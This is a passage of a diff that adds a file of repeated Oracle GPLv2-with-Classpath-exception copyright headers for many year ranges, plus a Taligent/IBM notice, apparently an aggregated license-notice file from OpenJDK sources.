+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2004, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, 2007, Oracle and/or its affiliates. All rights reserved.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
+(C) Copyright IBM Corp. 1996 - 1999 - All Rights Reserved
+
+The original version of this source code and documentation
+is copyrighted and owned by Taligent, Inc., a wholly-owned
+subsidiary of IBM. These materials are provided under terms
+of a License Agreement between Taligent and Sun. This technology
+is protected by multiple US and International patents.
+
+This notice and attribution to Taligent may not be removed.
+Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, Oracle and/or its affiliates. All rights reserved.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2006, 2007, Oracle and/or its affiliates. All rights reserved.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2006, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2006, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2006, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2007, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2007, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2007, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2007, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2007, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2007, Oracle and/or its affiliates. All rights reserved.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2008, 2009,  Oracle and/or its affiliates. All rights reserved.
+
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2008, 2009, Oracle and/or its affiliates. All rights reserved.
+
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2008, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2008, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2008, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2008, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2009, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2009, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
